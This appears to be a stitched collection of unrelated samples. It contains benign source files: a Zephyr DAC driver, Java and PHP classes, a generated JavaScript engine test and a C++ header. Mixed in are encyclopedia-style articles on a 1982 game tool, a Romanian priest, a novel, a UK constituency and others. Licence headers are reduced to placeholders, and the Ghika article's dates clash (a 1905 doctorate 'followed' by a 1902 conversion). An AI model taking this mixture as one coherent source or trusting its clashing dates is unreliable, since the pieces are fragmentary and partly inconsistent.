permissionsBundle.putBoolean(PermissionsResponse.CAN_ASK_AGAIN_KEY, true)
permissionsBundle.putString(PermissionsResponse.STATUS_KEY, PermissionsStatus.GRANTED.status)
permissionsBundle.putString(ACCESS_PRIVILEGES_PERMISSION_KEY, AccessPrivileges.LIMITED.value)
} else {
permissionsBundle.putString(ACCESS_PRIVILEGES_PERMISSION_KEY, AccessPrivileges.NONE.value)
}
return permissionsBundle
}
companion object {
internal const val ACCESS_PRIVILEGES_PERMISSION_KEY = "accessPrivileges"
}
}
```
|
```c
/*
*
*/
#define DT_DRV_COMPAT gd_gd32_dac
#include <errno.h>
#include <zephyr/drivers/clock_control.h>
#include <zephyr/drivers/clock_control/gd32.h>
#include <zephyr/drivers/pinctrl.h>
#include <zephyr/drivers/reset.h>
#include <zephyr/drivers/dac.h>
#include <gd32_dac.h>
#include <zephyr/logging/log.h>
LOG_MODULE_REGISTER(dac_gd32, CONFIG_DAC_LOG_LEVEL);
/**
* For some gd32 series which only have 1 DAC, their HAL name may not same as others.
* Below definitions help to unify the HAL name.
*/
#if defined(CONFIG_SOC_SERIES_GD32A50X)
#define DAC_CTL_DEN0 DAC_CTL_DEN
#define DAC0_R8DH OUT_R8DH
#define DAC0_R12DH OUT_R12DH
#elif defined(CONFIG_SOC_SERIES_GD32F3X0)
#define DAC_CTL_DEN0 DAC_CTL_DEN
#define DAC0_R8DH DAC_R8DH
#define DAC0_R12DH DAC_R12DH
#endif
struct dac_gd32_config {
uint32_t reg;
uint16_t clkid;
struct reset_dt_spec reset;
const struct pinctrl_dev_config *pcfg;
uint32_t num_channels;
uint32_t reset_val;
};
struct dac_gd32_data {
uint8_t resolutions[2];
};
static void dac_gd32_enable(uint8_t dacx)
{
switch (dacx) {
case 0U:
DAC_CTL |= DAC_CTL_DEN0;
break;
#if DT_INST_PROP(0, num_channels) == 2
case 1U:
DAC_CTL |= DAC_CTL_DEN1;
break;
#endif
}
}
static void dac_gd32_disable(uint8_t dacx)
{
switch (dacx) {
case 0U:
DAC_CTL &= ~DAC_CTL_DEN0;
break;
#if DT_INST_PROP(0, num_channels) == 2
case 1U:
DAC_CTL &= ~DAC_CTL_DEN1;
break;
#endif
}
}
static void dac_gd32_write(struct dac_gd32_data *data,
uint8_t dacx, uint32_t value)
{
switch (dacx) {
case 0U:
if (data->resolutions[dacx] == 8U) {
DAC0_R8DH = value;
} else {
DAC0_R12DH = value;
}
break;
#if DT_INST_PROP(0, num_channels) == 2
case 1U:
if (data->resolutions[dacx] == 8U) {
DAC1_R8DH = value;
} else {
DAC1_R12DH = value;
}
break;
#endif
}
}
static int dac_gd32_channel_setup(const struct device *dev,
const struct dac_channel_cfg *channel_cfg)
{
struct dac_gd32_data *data = dev->data;
const struct dac_gd32_config *config = dev->config;
uint8_t dacx = channel_cfg->channel_id;
if (dacx >= config->num_channels) {
return -ENOTSUP;
}
/* GD32 DAC only support 8 or 12 bits resolution */
if ((channel_cfg->resolution != 8U) &&
(channel_cfg->resolution != 12U)) {
LOG_ERR("Only 8 and 12 bits resolutions are supported!");
return -ENOTSUP;
}
data->resolutions[dacx] = channel_cfg->resolution;
dac_gd32_disable(dacx);
dac_gd32_write(data, dacx, config->reset_val);
dac_gd32_enable(dacx);
return 0;
}
static int dac_gd32_write_value(const struct device *dev,
uint8_t dacx, uint32_t value)
{
struct dac_gd32_data *data = dev->data;
const struct dac_gd32_config *config = dev->config;
if (dacx >= config->num_channels) {
return -ENOTSUP;
}
dac_gd32_write(data, dacx, value);
return 0;
}
struct dac_driver_api dac_gd32_driver_api = {
.channel_setup = dac_gd32_channel_setup,
.write_value = dac_gd32_write_value
};
static int dac_gd32_init(const struct device *dev)
{
const struct dac_gd32_config *cfg = dev->config;
int ret;
ret = pinctrl_apply_state(cfg->pcfg, PINCTRL_STATE_DEFAULT);
if (ret < 0) {
LOG_ERR("Failed to apply pinctrl state");
return ret;
}
(void)clock_control_on(GD32_CLOCK_CONTROLLER,
(clock_control_subsys_t)&cfg->clkid);
(void)reset_line_toggle_dt(&cfg->reset);
return 0;
}
PINCTRL_DT_INST_DEFINE(0);
static struct dac_gd32_data dac_gd32_data_0;
static const struct dac_gd32_config dac_gd32_cfg_0 = {
.reg = DT_INST_REG_ADDR(0),
.clkid = DT_INST_CLOCKS_CELL(0, id),
.reset = RESET_DT_SPEC_INST_GET(0),
.pcfg = PINCTRL_DT_INST_DEV_CONFIG_GET(0),
.num_channels = DT_INST_PROP(0, num_channels),
.reset_val = DT_INST_PROP(0, reset_val),
};
DEVICE_DT_INST_DEFINE(0, &dac_gd32_init, NULL, &dac_gd32_data_0,
&dac_gd32_cfg_0, POST_KERNEL, CONFIG_DAC_INIT_PRIORITY,
&dac_gd32_driver_api);
```
|
```java
/*
*
*
* path_to_url
*
* Unless required by applicable law or agreed to in writing, software
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
*/
package com.haulmont.cuba.gui.components;
import com.haulmont.cuba.gui.meta.PropertyType;
import com.haulmont.cuba.gui.meta.StudioComponent;
import com.haulmont.cuba.gui.meta.StudioProperty;
/**
* Component shows if CapsLock key is enabled when user inputs password.
*/
@StudioComponent(icon = "icon/capsLockIndicator.svg",
unsupportedProperties = {"enable", "responsive"},
category = "Components",
documentationURL = "path_to_url")
public interface CapsLockIndicator extends Component {
String NAME = "capsLockIndicator";
/**
* Sets the message that will be shown when caps lock key is active.
*
* @param capsLockOnMessage text message
*/
@StudioProperty(type = PropertyType.LOCALIZED_STRING)
void setCapsLockOnMessage(String capsLockOnMessage);
/**
* @return message that is shown when caps lock key is active
*/
String getCapsLockOnMessage();
/**
* Sets the message that will be shown when caps lock key is not active.
*
* @param capsLockOffMessage text message
*/
@StudioProperty(type = PropertyType.LOCALIZED_STRING)
void setCapsLockOffMessage(String capsLockOffMessage);
/**
* @return message that is shown when caps lock key is not active
*/
String getCapsLockOffMessage();
}
```
|
```php
<?php
/*
*
*
* path_to_url
*
* Unless required by applicable law or agreed to in writing, software
* WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the
*/
namespace Google\Service\ServiceManagement;
class RubySettings extends \Google\Model
{
protected $commonType = CommonLanguageSettings::class;
protected $commonDataType = '';
/**
* @param CommonLanguageSettings
*/
public function setCommon(CommonLanguageSettings $common)
{
$this->common = $common;
}
/**
* @return CommonLanguageSettings
*/
public function getCommon()
{
return $this->common;
}
}
// Adding a class alias for backwards compatibility with the previous class name.
class_alias(RubySettings::class, 'Google_Service_ServiceManagement_RubySettings');
```
|
The Arcade Machine is a game creation system written by Chris Jochumson and Doug Carlston for the Apple II and published by Broderbund in 1982. Louis Ewens ported it to the Atari 8-bit family. Broderbund ran a contest from January–June 1984 where the best user-created game was awarded a prize of $1,500 in hardware and software. Jochumson also wrote Track Attack for Broderbund.
Gameplay
The game allows players to create alien attacks like those seen in Galaxian. The inbuilt editor allows players to: design/animate enemies, players and explosions; give enemies instructions on moving/firing; drawing backgrounds/title screens, creating sound effects/music, and setting various gameplay rules. Finished games can be saved to a self-booting disk to allow them to run without this program.
Reception
John F. Besnard reviewed the game for Computer Gaming World, and stated that "The product itself provides a tremendous amount of power to the user. Try a few of the demo games supplied on the back of the disk to see the versatility potential of the product."
The New York Times described the game as a "hierophant" due to giving non-programmers the ability to create games; furthermore, the publication suggested that with a bit of aesthetic improvement, The Arcade Machine would "be a game one can play almost forever".
In 1984, InfoWorld deemed it a "fabulous program," and compared it favourably to Pinball Construction Set.
Steve Panak of ANALOG Computing wrote, "The Arcade Machine is not for the weak of stomach, nor for the weak of mind. Complexity is a key word here. However, despite its complexity, the program is surprisingly user-friendly, thanks to excellent documentation." In the conclusion he warned, "Many, many, many hours are needed to create and hone your game to perfection-and that's if you're not a perfectionist."
The game was "a best seller", according to the September 1984 issue of Creative Computing.
References
External links
French review by Jeux
List of games created using The Arcade Machine
InfoWorld 30 Jan 1984
InfoWorld 4 Apr 1983
InfoWorld 25 Oct 1982
Kiplinger's Personal Finance
1982 video games
Apple II games
Atari 8-bit family games
Broderbund games
Video games developed in the United States
Video game engines
Video game IDE
|
Union Nationale (English: National Union) may refer to several political parties:
Union Nationale (Quebec), Canada
Rwandese National Union, Union nationale rwandaise in French
National Union (Chad), Union nationale in French
Chadian National Union, Union nationale tchadienne, known as UNT
National Union (Switzerland), Union nationale in French
See also
National Union (disambiguation), the English equivalent to this term
de:Union nationale
fr:Union nationale
|
Vladimir Ghika (or Ghica) (25 December 1873 – 16 May 1954) was a Romanian diplomat and essayist who, after his conversion from Romanian Orthodoxy became a priest of the Roman Catholic Church. He was a member of the princely Ghica family, which ruled Moldavia and Wallachia at various times from the 17th to the 19th century. He died in prison in May 1954 after his arrest by the Communist regime.
Biography
Early life
Vladimir Ghika was born on Christmas Day of 1873 in Constantinople (now Istanbul, Turkey). His father was Ioan Grigore Ghica, diplomat, minister plenipotentiary in Turkey; his mother Alexandrina was born Moret de Blaremberg (van Blarembergue) in a Flemish-Russian family; he had four brothers and a sister: Gregory, Alexander, George and Ella (who both died at an early age), and Dimitrie I. Ghika (future ambassador and minister of foreign affairs). He was the grandson of the last Prince sovereign of Moldavia, Prince Gregory V Ghika, who ruled from 1849 to 1856.
He was raised with the Eastern Orthodox faith. In 1878, in order to give a good education to the children, the family moved to Toulouse in France. There, they frequented the Protestant community, because the Orthodox church was not represented in the area. Ghika received his Degree in Law in 1895, after which he attended the Paris Faculty of Political Science. At the same time, he frequented courses of Medicine, Botany, Art, Literature, Philosophy, and History. He returned to Romania due to an attack of angina pectoris and continued his studies in Romania.
Ghika was an alumnus of the College of St. Thomas, the future Pontifical University of St. Thomas Aquinas Angelicum, in Rome. In 1898, he enrolled in the Faculty of Philosophy and Theology. At the Angelicum, Ghika completed a licentiate in Philosophy and a Doctorate in Theology in 1905. Soon after, he converted to the Catholic faith in 1902.
Pilgrimage
Ghika wanted to become a priest or monk, but Pius X advised him to give up the idea, at least for a while, and to dedicate himself to secular apostolate instead. He became one of the pioneers of the lay apostolate.
After returning to Romania, he dedicated himself to works of charity and opened the first free clinic in Bucharest called Mariae Bethlehem. He also set the foundation for a great hospital and sanatorium named after Vincent de Paul, founded the first free hospital in Romania and the first ambulance, thereby becoming founder of the first Catholic charity work in Romania. He was dedicated to patient care while participating in health services in the Balkan War in 1913, without the fear of cholera in Zimnicea. He was also in charge of diplomatic missions among the Avezzano earthquake victims of tuberculosis of Hospice of Rome during World War I.
On 7 October 1923, Ghika was ordained a priest in Paris by Cardinal Dubois, Archbishop of the city. He served as a priest in France until 1939. Shortly after Ghika was ordained, the Holy See authorized him to celebrate the Byzantine Rite. Prince Ghika thereby became the first bi-ritual Romanian priest.
On 13 May 1931, the Pope appointed Ghika to be an Apostolic Protonotary, but he was reluctant to accept it. He worked worldwide, including Bucharest, Rome, Paris, Congo, Tokyo, Sydney, and Buenos Aires, among others. Later, in jest, Pope Pius XI called him an "apostolic vagabond".
Imprisonment and death
On 3 August 1939 he returned to Romania, where he was caught in the Second World War. He refused to leave Romania at that time so that he could be with the poor and sick, and he did so even when the Allies began bombing Bucharest, where he lived. In 1947, when the Communists came to power, he refused to leave on the royal train, for the same reasons.
He was arrested on 18 November 1952, because of his support for the Catholic Church in communion with Rome and his opposition to the schismatic church that the regime was creating. He was charged for "high treason" and threatened, beaten, tortured and processed. Eventually, he was imprisoned at Jilava Prison on 16 May, and he died in 1954 due to the treatment to which he was subjected.
Beatification
Ghika was proposed for beatification by the Archdiocese of Bucharest, based on a dossier with his biography submitted to the Congregation for the Causes of Saints in the Vatican. On 27 March 2013, Pope Francis declared Ghika to be a martyr. He was beatified on 31 August 2013.
Education
1893 – School of Toulouse (France)
1893–1895 – Faculty of Political Sciences in Paris; attending courses in Medicine, Botany, Art, Literature, Philosophy, History, and Law
1895-1898 – Continued his studies in private
1898–1905 – Faculty of Philosophy and Theology; obtained a Degree in Philosophy and a Doctorate in Theology
1904–1906 – Continues to study History
Writings
Although he had culture and capacity, he avoided producing personal writings. He wrote only because he was forced by circumstances and needs. He did research work in the Vatican archives, publishing some of the results in the Revue Catolique. He also wrote magazine articles in Literary Talk, La Revue Hebdomadaire, Les Études, Le Correspondant, La Revue des Jeunes, and La Documentation Catholique. His short personal meditations were subsequently published in various editions as Pensées pour la suite des jours.
Writings published in French
Méditation de l'Heure Sainte, first edition, 1912
Pensées pour la suite des jours, first edition, 1923
Les intermèdes de Talloires, 1924
La Messe Byzantine dite de Saint Jean-Chrystome. Nouvelle traduction française adaptée à l'usage courant des fidèles du rite Latin avec commentaire et introduction par le prince Vladimir I. Ghika, 1924
La visite des pauvres: manuel de la dame de Charité : conférences, first edition, 1923
Roseau d'Or (Chroniques – Volume VIII), a collection of thoughts (such Pensées pour la suite des jours), 1928
La Sainte Vierge et le Saint Sacrement, 1929
Vigia (book IV), a collection of thoughts (such Pensées pour la suite des jours), 1930
La Femme adultère. Un prologue, un acte, un épilogue. 2e édition, 1931
La souffrance, first edition, 1932
La Liturgie du prochain, first edition, 1932
La Présence de Dieu, first edition, 1932
Derniers témoignages [seem] Mgr Vladimir Ghika. Presentes par Yvonne Estienne, 1970; posthumous publication that collects various other unpublished thoughts
Writings published in Romanian
Our Lady and the Holy Sacrament. Speech delivered by Monsignor Ghika opening in November 1928 Eucharistic Congress in Sydney, Australia
Adulteress. Gospel Mystery comprising a prologue, an act, an epilogue. Pieasă theater
Thoughts For the Days Ahead
Spiritual Conversation
Interludes in Talloires
Last witness, Vladimir Ghika, pref. Yvonne Estienne
Posthumous fragments. Institute of previously unpublished archive
"Vladimir Ghika" (translation of documents unpublished)
Legacy
In 1970, the Fraternity of the Transfiguration was founded; the Fraternity's spirituality stems from Vladimir Ghika.
Bibliography
Biography
Vladimir Ghika. Profesor de speranță, Francisca Băltăceanu, Andrei Brezianu, Monica Broșteanu, Emanuel Cosmovici, Luc Verly, prefață de IPS Ioan Robu, Editura ARCB, București 2013.
Vladimir Ghika, professeur d'espérance, Francesca Baltaceanu et Monica Brosteanu, préface de Mgr Philippe Brizard, Cerf, 2013
Vladimir Ghika. Prințul cerșetor de iubire pentru Cristos, Anca Mărtinaș, Editrice Velar, Editura ARCB, București 2013.
Vladimir Ghika. Il principe mendicante di amore per Cristo, Anca Mărtinaș, Editrice Velar, Editrice ELLEDICI, Gorle, 2013.
Monseniorul: amintiri și documente din viața Monseniorului Ghika în România, Horia Cosmovici, Editura Galaxia Gutenberg, Târgu Lăpuș, 2011.
Mgr Vladimir Ghika. Prince, prêtre et martyr, Charles Molette, AED, Paris, 2007.
Vladimir Ghika. L'Angelo della Romania, in Il nono libro dei Ritratti di santi', Antonio Maria Sicari o.c.d., Jaka Book, 2006.Monseniorul: amintiri din viața de apostolat, Horia Cosmovici, Editura MC, București, 1996.Principe, sacerdore e martire. Vladimir Ghika, Jean Daujat, Edizioni Messaggero di Padova, Padova, 1996.Prince et martyr, l’apôtre du Danube, Mgr Vladimir Ghika, Hélène Danubia, Pierre Tequi, Paris, 1993.La memoire des silence, Vladimir Ghika 1873–1954, Élisabeth de Miribel, Librarie Artème Fayard, 1987.Une flamme dans le vitrail. Souvenirs sur Mgr. Ghika, Yvonne Estienne, Editions Du Chalet, Lyon,1963.Vladimir Ghika, Prince et Berger, Susane-Marie Durand, Castermann, 1962.Une âme de feu, monseigneur Vladimir Ghika, Michel de Galzain, Éditions Beauchesne, 1961.L’apôtre du XX-em siècle, Vladimir Ghika, Jean Daujat, La Palatine-Plon, 1956.Les Convertis du 20e siècle – Du Palais à l'autel et à la geôle. Le Prince Vladimir Ghika, de Pierre Gherman, Bruxelles, 1954.
Monseniorul Vladimir Ghika -Schita de portret European de Stefan J. Fay – Continent 2006
Studies„Rugați-vă toți pentru mine...” Monseniorul Vladimir Ghika și martiriul său, Florina-Aida Bătrînu, ARCB, București, 2013.O lumină în întuneric: Monseniorul Vladimir Ghika, Mihaela Vasiliu, ARCB, București, 2012.Une lumière dans les ténébres. Mgr Vladimir Ghika, Mihaela Vasiliu, Cerf, Paris, 2011.Mgr Vladimir Ghika apôtre et martyr. Actes du colloque à la mémoire de Mgr Vladimir Ghika. Octobre 2010, Paris, ABMVG, Paris 2011.A trăit și a murit ca un sfânt! Mons. Vladimir Ghika 1873–1954, ed. Ioan Ciobanu, ARCB, București, 2003.
References
External links
Vladimir Ghika
Blog Postulation
Archdiocese of Bucharest
Lagrasse Canons
To My Brother in Exile'' (2009)
Serban Nichifor, Missa Beatus Vladimir Ghika (2017)
1873 births
1954 deaths
Clergy from Istanbul
Romanian people of Albanian descent
Vladimir
Converts to Roman Catholicism from Eastern Orthodoxy
Pontifical University of Saint Thomas Aquinas alumni
Romanian Roman Catholic priests
Romanian beatified people
Romanian diplomats
Romanian essayists
Romanian anti-communist clergy
Inmates of Jilava Prison
Romanian people who died in prison custody
Prisoners who died in Securitate custody
Members of the Romanian Academy elected posthumously
20th-century Christian martyrs
Beatifications by Pope Francis
|
The Book of Boy is a young adult historical fiction novel written by Catherine Gilbert Murdock and published in February 2018. It recounts the journey of the eponymous Boy, who accompanies the pilgrim Secundus as they gather relics associated with Saint Peter. It was named a Newbery Honor book in January 2019.
Plot summary
Boy is an orphan who works as a goatherd on the estate of Sir Jacques. He encounters the pilgrim Secundus in the fields and guides him to the manor, where Secundus convinces the Cook to lend him Boy as his servant on his pilgrimage to the nearest large town, Saint-Peter's-Step. As they leave for their journey, Secundus ties a mysterious bundle to Boy's hunchback and threatens him with death if he should peek inside or run away with it. During their first night together, Secundus reveals his quest to Boy; he is seeking seven relics from the body of Saint Peter: "Rib tooth thumb shin dust skull tomb". Based on that list, their journey will end in Rome, at the Mother of All the Churches.
The story is set in the holy year of 1350, while the Black Death was sweeping through Europe; before the novel begins, the wife and three children of Sir Jacques have succumbed to the plague. As an orphan and deformed with a hunchback, Boy has been bullied all his life and has a deep sense of shame over his otherness, although he is able to take comfort in his strange rapport with animals.
Development
Murdock noted she was influenced by Susanna Clarke's Jonathan Strange & Mr Norrell, developing the dialogue to balance accuracy in historical vocabulary with readability for modern audiences.
Publishing history
Reception
In a starred review, Kirkus Reviews called it "a wickedly fun-filled quest that twists and turns with lyrical fire." Christopher Healy, reviewing for The New York Times, had mixed feelings about "the artistically ambiguous ending" which "gives no explicit answer to the question [of whether Boy should hide his true self]". The Horn Book gave the novel a star and in her review, Sarah Ellis wrote that Boy is "a complex and compelling being whose defining quality is goodness." In her review for School Library Journal, Elizabeth Bird also called Boy "the living embodiment of kindness and joy" and drew a contrast to the current state of children's literature: "We have a lot of dark, depressing, necessary books out there. Once, just once, let’s enjoy the one unafraid to let a little light and laughter in."
The American Library Association named The Book of Boy a Newbery Honor Book at its annual conference in January 2019.
References
External links
"Blog tour" with content from the author describing research and development of the novel:
Young adult novels
Historical novels
Newbery Honor-winning works
2018 American novels
Fiction set in the 1350s
Greenwillow Books books
|
Leyton and Wanstead is a constituency created in 1997 and represented in the House of Commons of the UK Parliament since 2010 by John Cryer of the Labour Party.
Boundaries
Uniting for general elections areas from the boroughs of Redbridge and Waltham Forest in inner north-east London, the constituency covers Leyton, Wanstead & Leytonstone. The seat was created for the 1997 election succeeding the Leyton constituency, with parts of what had been the formerly safe Conservative Wanstead and Woodford constituency. It has an electorate of approximately 60,000.
The seat has electoral wards:
Snaresbrook; and Wanstead in the London Borough of Redbridge:
Cann Hall; Cathall; Forest; Grove Green; Leyton; and Leytonstone in the London Borough of Waltham Forest
History
The seat arose from the enacting of the recommendations of the fourth periodic review of Westminster constituencies of the Boundary Commission for England to take account of demographic population change and seek to equalise electorates whilst in preference retaining the historic connections with the local authorities of the United Kingdom.
Political history
The constituency has consistently elected Labour Party MPs (Members of Parliament); the narrowest winning majority was 16%; the greatest, 49%, in 2017. Harry Cohen was MP for the Leyton area from 1983 and this seat from 1997. Cohen retired before the 2010 election, after which the seat was retained by John Cryer. At the time of the 2015 result, the seat was the 46th safest of Labour's 232 seats by percentage of majority.
Constituency profile
This seat combines deprived and economic-cycle vulnerable areas around Leyton with the more affluent, resilient Wanstead area. It is an ethnically diverse area, with the biggest minority groups being Pakistani British and Caribbean British, although it has fewer ethnic minority constituents than in the London Borough of Newham.
Members of Parliament
Elections
Elections in the 2010s
Elections in the 2000s
Elections in the 1990s
See also
List of parliamentary constituencies in London
Notes
References
External links
Politics Resources (Election results from 1922 onwards)
Electoral Calculus (Election results from 1955 onwards)
BBC constituency profile
Politics of the London Borough of Waltham Forest
Politics of the London Borough of Redbridge
Parliamentary constituencies in London
Constituencies of the Parliament of the United Kingdom established in 1997
|
```javascript
//your_sha256_hash---------------------------------------
//your_sha256_hash---------------------------------------
(function() {
var ary = new Array(10);
var obj0 = new Object();
var a;
var b;
var c;
var d;
var e;
var f;
var g;
var h;
a = 14029;
b = 43960;
c = 16464;
d = -14962;
e = 53300;
f = -691;
g = 58086;
h = -62390;
obj0.a = 9695;
obj0.b = -52333;
obj0.c = -35365;
obj0.d = 20931;
obj0.e = 34010;
ary[0] = 839;
ary[1] = 19859;
ary[100] = -54337;
b = -2076;
if(((obj0.b - (24945 & (a ^ 55871))) > ((obj0.b > (-18767 ? obj0.d : 3062)) & obj0.e))) {
} else {
if(((((-55743 & 61017) * (29254 >= h)) + ((d < -46530) ? (6253 | 2) : obj0.d)) < (f | ((-61959 == obj0.a) ? 12561 : (g ^ 47033))))) {
c = (((36047 & (++ f)) ^ ((-52443 <= d) - (-56491 & h))) > (obj0.a + ((-34572 + e) - (d & obj0.d))));
} else {
obj0.c = (((b * (58885 & -32483)) ^ f) | ((obj0.b ^ (! e)) & (+ (63710 >= obj0.e))));
}
c = ((((g - 10069) & -20232) + ((h != h) ? (63483 - 46471) : obj0.e)) * (((52658 - e) + (- -43341)) ^ a));
}
c = ((g ^ ((d == -18074) ? (obj0.c * g) : (a <= -8574))) | (obj0.d ^ ((32048 + -7283) > (++ g))));
if(((((-48456 != e) - (++ d)) & 16465) < (((-17463 * c) - obj0.d) + c))) {
f = obj0.a;
obj0.b = ((((e & b) + obj0.a) | obj0.a) == ((f ^ (! c)) - ((54429 <= obj0.b) + (- -20711))));
if(((((25230 ? e : e) + (40819 + g)) & ((+ -41317) & (47354 ^ a))) != (41301 | obj0.a))) {
if(((((+ c) & (obj0.d ^ -43022)) ^ obj0.a) < (a | e))) {
} else {
obj0.d = ((((5026 + b) + h) - (+ -19547)) ^ (((h ? g : c) | (-40448 <= obj0.b)) | obj0.b));
obj0.e = 41178;
obj0.b = ((d & ((-24061 & c) & g)) == (a - 28178));
}
if((((h - (h++ )) | ((! 42253) * f)) < (g - d))) {
obj0.e = d;
} else {
}
} else {
if((((e * (1238 ^ 2052)) - obj0.c) != ((++ b) | -9540))) {
} else {
d = ((((obj0.e & -50960) - (obj0.d < obj0.d)) & (obj0.b * obj0.d)) | (obj0.a ^ (obj0.e != obj0.c)));
a = (((e ^ (-43117 | g)) - -25993) - (obj0.c & ((obj0.b ^ -25360) * (d & g))));
h = (+ (((obj0.c <= 21836) == (-51890 | 4613)) - ((+ b) == (++ d))));
}
obj0.d = ((-22843 + ((g | obj0.e) & (a >= 36613))) | (b | ((21023 + obj0.b) <= e)));
obj0.a = (((g & (f + obj0.e)) + f) >= (obj0.d | d));
}
} else {
if(((((-28948 - g) + (-21728 & f)) ^ -29776) == ((obj0.a > (h * obj0.b)) * (19653 < (-26994 ^ b))))) {
if(((c + h) <= ((obj0.e++ ) | ((e <= g) > (obj0.b != 3393))))) {
obj0.e = (((d >= (6082 ? obj0.b : b)) + ((obj0.d ^ -55937) > (-11517 - d))) ? (f ^ obj0.a) : ((-50899 <= d) ^ ((-58847 & 6402) & (h & -63054))));
} else {
obj0.a = (((f != h) | ((h & -44413) * (a * d))) * (g & g));
obj0.a = ((a | ((31341 * h) * (obj0.e ^ 1801))) & (e + obj0.e));
obj0.c = ((d * c) ^ (((-9829 >= e) ^ b) ^ a));
}
if(((((-60452 | -45534) + -1837) ^ (obj0.c & (g > a))) > ((obj0.a * (28342 | 61842)) * (e * (-55719 | 29870))))) {
} else {
}
f = (((! (-18796 & 47888)) | ((e <= 11085) - (c | -19968))) ? (g | d) : (((++ c) - obj0.e) - (obj0.b | (obj0.d - obj0.a))));
} else {
a = e;
obj0.b = (((+ (d & obj0.e)) * (f | (-32937 ^ a))) ? ((g + (! obj0.c)) * ((d + h) + f)) : (((36934 ^ -64966) < (20391 ^ -39003)) * obj0.d));
}
h = ((a ^ a) & ((++ b) ^ h));
obj0.d = -42217;
}
WScript.Echo("a = " + (a>>3));
WScript.Echo("b = " + (b>>3));
WScript.Echo("c = " + (c>>3));
WScript.Echo("d = " + (d>>3));
WScript.Echo("e = " + (e>>3));
WScript.Echo("f = " + (f>>3));
WScript.Echo("g = " + (g>>3));
WScript.Echo("h = " + (h>>3));
WScript.Echo("obj0.a = " + (obj0.a>>3));
WScript.Echo("obj0.b = " + (obj0.b>>3));
WScript.Echo("obj0.c = " + (obj0.c>>3));
WScript.Echo("obj0.d = " + (obj0.d>>3));
WScript.Echo("obj0.e = " + (obj0.e>>3));
WScript.Echo("ary[0] = " + (ary[0]>>3));
WScript.Echo("ary[1] = " + (ary[1]>>3));
WScript.Echo("ary[100] = " + (ary[100]>>3));
WScript.Echo('done');
})();
```
|
Eliza Ann Ashton (née Pugh; 1851/185215 July 1900) was an English-born Australian journalist and social reformer. She wrote for The Sydney Morning Herald and The Daily Telegraph in Sydney under the names Faustine and Mrs Julian Ashton. She was a founding member of the Womanhood Suffrage League of New South Wales.
Early life
Eliza Ann Pugh was born in Stoke Newington, England in either 1851 or 1852. Her father was a manager at J.S. Morgan & Co. She attended a college for girls in North London, followed by a boarding school in France. She married the artist Julian Ashton on 1 August 1876 and moved with him to Australia in 1878.
Career
Ashton was a journalist, writer and literary critic for The Sydney Morning Herald and The Daily Telegraph of Sydney. She also wrote an article on the education of girls in the Centennial Magazine.
Under the pseudonym Faustine she wrote mainly social commentary pieces while under the name Mrs Julian Ashton she was known as a literary critic with a keen analysis. She was described by a writer in Table Talk as a practical philosopher with no sympathy for the purely sentimental.
Ashton was an active social reformer, being a committee member of the Women's Literary Society in Sydney and a founding member of the Womanhood Suffrage League of New South Wales.
At a league meeting on 11 November 1891, she presented a paper calling for radical changes to the laws of marriage. One of the reported proposals was to require both parties to renew their marriage vows each year; if either party refused they would have an automatic divorce. News of the proposal prompted a wave of criticism in the press and accusations that Ashton was trying to promote concepts of "free love," "concubinage" and prostitution. One of her critics was Lady Jersey, the wife of the Governor of New South Wales. Lady Jersey banned Ashton from visiting Government House, the Governor's official residence (a significant handicap for her role as a journalist) and called on the league to distance themselves from Ashton. The league, represented by their secretary Rose Scott, quickly disassociated themselves from Ashton's views on marriage, however, Ashton remained as a member of the league.
Ashton's views were defended by her husband in a letter of 16 November, in which he expressed regret and astonishment of society's inability to debate the subject. On 25 November her own letter was published in The Daily Telegraph and The Sydney Morning Herald, in which she described the public response as a "storm of abuse and misrepresentation." At the same time she published the full text of her paper and challenged readers to identify the position she was claimed as advocating.
On 10 April 1892, Ashton gave another lecture on marriage, which was summarised by the Daily Telegraph and repeated later in the month by The Kerang Times. This prompted renewed criticism from other press sources, such as The Evening News. On 26 April, writing under the name L. A. Ashton, she gave an account of a subsequent debate on the subject with Scott and Frank Cotton, a Labour politician. While they opposed her views, she welcomed their polite opposition rather than the rudeness and anonymity she faced from others.
In 1899 Lady Jersey wrote to the wife of the new Governor, Lady Beauchamp, advising her to allow Ashton to again visit Government House. Lady Jersey explained that she had felt forced to counter such publicly expressed views but had never heard anything negative about Ashton's personal character.
Despite the criticism at the start of the decade, Ashton remained an active journalist until a week before her death in 1900.
Family
She had five children with her husband.
Julian Howard Ashton (9 August 1877 – 30 April 1964) also an artist and journalist.
Percival George Ashton (27 November 1878 – 19 November 1953) known in later life as Captain Percy Ashton.
Bertha Rossi Ashton (1882 – 6 February 1970) married William Charlton Hubble in July 1923.
Rupert Rossi Ashton (1885 – 4 March 1895)
Arthur Roy Ashton (1886 – 2 October 1917) killed in action in Belgium.
Death
On 11 July 1900, Ashton became ill with what was described as nervous prostration, before falling into unconsciousness the following day. Her condition deteriorated and she died on 15 July of a brain haemorrhage. She was buried at Waverley Cemetery.
Footnotes
References
External links
List of articles by Faustine from the National Library of Australia
1850s births
1900 deaths
British emigrants to the Colony of New South Wales
Writers from the Colony of New South Wales
Australian suffragists
Australian women journalists
19th-century Australian journalists
The Sydney Morning Herald people
Free love advocates
19th-century women journalists
|
```c++
#pragma once
#include "Resources.hpp"
class MeshUtilities {
public:
// Three load modes: load the vertices without any connectivity (Points),
// load them with all vertices duplicated for each face (Expanded),
// load them after duplicating only the ones that are shared between faces with multiple attributes (Indexed).
enum LoadMode {
Expanded, Points, Indexed
};
/// Load an obj file from disk into the mesh structure.
static void loadObj(const std::string & path, Mesh & mesh, LoadMode mode);
/// Center the mesh and scale it to fit in the [-1,1] box.
static void centerAndUnitMesh(Mesh & mesh);
/// Compute the tangents and binormal vectors for each vertex.
static void computeTangentsAndBinormals(Mesh & mesh);
};
```
|
Mojca Sagmeister (born 6 March 1996 in Slovenj Gradec) is a Slovenian swimmer. She competed at the 2012 Summer Olympics in the Women's 400 metre freestyle, finishing 32nd in the heats, failing to qualify for the final.
References
Slovenian female swimmers
1996 births
Living people
Olympic swimmers for Slovenia
Swimmers at the 2012 Summer Olympics
European Aquatics Championships medalists in swimming
Sportspeople from Slovenj Gradec
Mediterranean Games silver medalists for Slovenia
Mediterranean Games bronze medalists for Slovenia
Swimmers at the 2013 Mediterranean Games
Mediterranean Games medalists in swimming
Slovenian female freestyle swimmers
|
Riomar is locality in the north of Barranquilla city, Colombia. It gets its name from its proximity with the Caribbean Sea and the Magdalena River. Its boundaries are the "Calle 84" and the "Carrera 46".
List of barrios
